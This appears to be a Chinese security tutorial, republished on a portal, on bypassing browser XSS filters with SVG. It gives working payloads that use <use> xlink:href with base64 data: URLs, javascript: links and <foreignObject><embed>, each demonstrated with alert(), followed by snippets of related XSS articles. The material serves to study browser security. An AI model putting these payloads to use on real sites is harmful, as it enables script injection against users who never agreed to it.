用SVG绕过浏览器XSS审计

SVG中的<use>元素用于重用其他元素,主要用于联接<defs>和 alike,而我们却用它来引用外部SVG文件中的元素元素通过其id被引用,在 <use>标签的xlink:href属性中以'#'井字符开头,外部元素的引用同样如 此基本结构如下所示:

test.html

<svg> <use xlink:href='external.svg#rectangle' /> </svg>

external.svg:

<svg id="rectangle" 

xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" 

height="100" />
</a>
</svg>

sxternal.svg文件以<svg>标签开始,其id设置为rectangle(矩形),使 用<rect>标签绘一个矩形。可以使用<a>环绕<rect>标签,这 样会创建一个超链接。使用Javascript的url协议,可点击的超链接在点击后会执 行Javascript。

虽然SVG是经由<use>标签加载的,Javascript将会得到执行。有一点需 要注意,它只能加载SVG文件,必须满足同源策略

======================

FIREFOX ====================== 由于加载的外部SVG文件必须是同源的,这 个特性看起来似乎无法作为有用的XSS攻击向量,但Firefox会帮我们提升这个攻 击向量首先,你可以使用data:url协议,它允许我们百忙之中从内部创建一个文 件。它要求正确的mime-type,在这里为image/svg+xml。mimie-type后是我们的 攻击载荷或关键字base64。特别地,由于数据被base64编码,这有助于避免突破 HTML结构的问题。现在我们不必再依赖于服务器上的另一个文件了:

test.html:

<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle" />
</svg>

解码后的base64载荷:

<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" 

height="100" />
</a>
</svg>

浏览器会显示出一个黑色的矩形,当点击时会弹出其location 但是为什么要 烦扰受害者去点击呢,他们从来都不会去做该做的事:) external.svg中的 <script>标签不会被解析,但是SVG支持<foreignObject>元素通过 阐述这个对象需要的扩展属性,有可能加载非SVG元素这就意味着现在有可能是有 <iframe>、<embed>及其他所有支持的HTML元素了,我们可以从一堆 元素中进行选择执行Javascript,这里使用<embed>+JavascriptURL协议看 如下SVG:

<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml"
src="javascript:alert(location)" />

</foreignObject>
</svg>

它会通过<foreignObject>加载嵌入的标签,使用JavascriptURL协议执 行Javascript 然后我们用base64对载荷进行编码,通过data:协议加载它 test.html

<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索javascript
, 文件
, 标签
, 协议
, svg
, 元素
javascripturl下载
绕过浏览器 xss 防御、xss绕过、xss绕过尖括号、xss绕过script过滤、xss绕过过滤,以便于您获取更多的相关知识。

时间: 2024-09-29 11:58:56

用SVG绕过浏览器XSS审计的相关文章

实现跨浏览器的图标SVG Sprites的教程

基于本文的目的,我会以一个像个人名片的东西来开始.它会简短地介绍一下我自己以及显示3个和我工作相关的网络档案. 从上面的截图你可以看到我使用了三个图标(Twitter,Dribble 和 Github)象征着我的网络档案.这些图标我是从 flaticon 下载到的,这是一个具有各种不同图标和符号的网站,并且每个图标都提供矢量和光栅格式. PNG 和 SVG 我们会在支持SVG的浏览器中使用SVG的格式,然后在不支持svg的浏览器中使用PNG格式的图标. 通常我使用Sketch来输出我的PNG图标

IE极度危险XSS漏洞 开启高度可信钓鱼攻击

本文讲的是IE极度危险XSS漏洞 开启高度可信钓鱼攻击,IE浏览器一个通用跨站脚本漏洞(XSS)近日被安全人员披露,该漏洞允许攻击者绕过浏览器安全机制同源策略(SOP),发起高可信网络钓鱼攻击或在任意网站上劫持用户帐户.杜森(Deusen)安全咨询公司的研究员大卫·利奥在漏洞披露文章中介绍了漏洞的详细信息. 文章中利用概念验证链接dailymail.co.uk,作为攻击目标进行演示.根据演示链接,当在最新安装的Windows8.1操作系统的计算机上打开网页浏览器IE11时,利用页面为用户提供了一

针对XSS漏洞的前端防火墙:整装待发

到目前为止,我们把能用前端脚本防御XSS 的方案都列举了一遍.尽管看起来似乎很 复杂累赘, 不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程度.事实上,HTML5 早已制定了一套浏览器XSS 解决方案 -- Content Security Policy,并且大多主流浏览器实现了这个标准.既然我们使用前端脚本重新实现一遍,因此得在各个方面占有优势.兼容性CSP 目前主流浏览器大多已支持,IE10.11 支持部分功能.对于 IE10 之前

12个有趣的 XSS Vector

XSS Vector #1 <script src=/〱20.rs></script> URL中第二个斜杠在Internet Explorer下(测试于IE11)可被U+3031,U+3033,U+3035,U+309D,U+30FC,U+30FD,U+FF70代替.在特定环境下可以帮助测试者绕过一些正则. XSS Vector #2 <script src=//20.rs async> 这个Vector可以在不闭合script标签的情况下,在IE下(测试于IE11)正

Animated SVG vs GIF

本文讲的是Animated SVG vs GIF, SVG不仅可用于展示静态图像,与其它图片格式相比,呈现动画的能力只是其强大的特性之一.这也是SVG优于包括GIF在内的其它位图格式的众多原因之一.当然,这种优势仅适用于适合SVG的应用场景,例如: Logo图, 不复杂的矢量图, UI组件, 信息化图表, 图标. 当然,如果你的图片更适合用位图格式--例如照片或非常复杂的矢量图形(通常会导致 SVG 格式的文件非常大),那么你还是应该用位图.不仅图片可以考虑用SVG格式,也要考虑SVG是否适用于

SVG基本知识

什么是SVG? SVG 指可伸缩矢量图形 (Scalable Vector Graphics) SVG 用来定义用于网络的基于矢量的图形 SVG 使用 XML 格式定义图形 SVG 图像在放大或改变尺寸的情况下其图形质量不会有所损失 SVG 是万维网联盟的标准 SVG 与诸如 DOM 和 XSL 之类的 W3C 标准是一个整体 SVG 是 W3C 推荐标准 SVG 于 2003 年 1 月 14 日成为 W3C 推荐标准. SVG 的历史 参与定义 SVG 的组织有: Opera.Adobe.M

静态资源的分布对网站加载速度的影响/浏览器对同一域名下并发加载资源数量

静态资源的分布对网站加载速度的影响 / 浏览器对同一域名下并发加载资源数量 / browsers network-http-persistent-max-connections-per-server 引文:浏览器在同一个域名下并发加载的资源数量是有限的,访问淘宝首页需要加载126个资源,那么如此小的并发连接数自然会加载很久,所以前端开发人员往往会将上述这些资源文件分布在多个域名下,变相的绕过浏览器的这个限制,同时也为下文的CDN工作做准备 [ 摘自:<淘宝技术这十年>P6-P7 ] 不同浏览器

让WordPress编辑器支持内联SVG代码

WordPress编辑器对SVG的支持一向是非常的不友好,首先它不能上传SVG文件,也不能自动的嵌入到内容中让它正常显示.同时,对内联SVG代码根本不识别,会无情的将SVG代码自动删除. 相信你也知道,Wordpress使用的是TinyMCE编辑器,而TinyMCE编辑器仅对标准的HTML5标记进行支持,SVG代码一律不识别,当我在Wordpress的编辑器了"可视化"和"文本"两个标签间切换时,所有的SVG代码都被干净的删除. 网上有很多关于如何让Wordpres

技术揭秘“QQ空间”自动转发不良信息

大家经常会看到QQ空间自动转发一些附带链接的不良信息,即便我们的QQ密码并没有被盗取.最近通过对一个QQ空间自动转发链接进行分析,发现该自动转发机制通过利用腾讯网站存在漏洞的页面,精心构造出利用代码获取用户的QQ号和skey值,从而获得用户的一些敏感操作权限.并通过该漏洞自动转发一些不良信息诱导用户点击,从而导致大面积传播. 传播现象 如果有一天,你发现好多QQ好友空间都在发一条说说,并且这个说说附带了一个链接,像下图这样:   此时你就要注意了,那个网页你点进去你也会一起中毒,并在你没有察觉的